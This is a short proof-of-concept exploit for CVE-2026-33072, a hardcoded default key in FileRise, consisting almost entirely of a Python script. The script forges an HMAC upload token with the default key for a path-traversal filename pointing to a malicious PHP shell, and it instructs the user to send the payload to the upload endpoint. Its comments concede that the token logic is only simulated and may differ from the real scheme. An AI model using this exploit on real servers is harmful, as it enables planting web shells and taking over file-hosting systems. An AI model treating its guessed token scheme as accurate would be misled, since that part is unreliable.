CVE-2026-33072 FileRise硬编码密钥漏洞

import hmac import hashlib # The hardcoded default encryption key found in vulnerable versions DEFAULT_KEY = b'default_please_change_this_key' def forge_upload_token(file_data): """Forges an upload token using the hardcoded key.""" # Simulating the token generation logic used by FileRise # The actual implementation details may vary based on the specific hashing algorithm used (e.g., SHA256) message = file_data.encode('utf-8') # Generate HMAC signature signature = hmac.new(DEFAULT_KEY, message, hashlib.sha256).hexdigest() return { "file": file_data, "token": signature } if __name__ == "__main__": # Example usage: forging a token for a malicious file target_file = "../../malicious_shell.php" forged_token = forge_upload_token(target_file) print(f"[+] Forged Request Payload:") print(f"File: {forged_token['file']}") print(f"Token: {forged_token['token']}") print("[+] Send this payload to the upload endpoint to exploit the vulnerability.")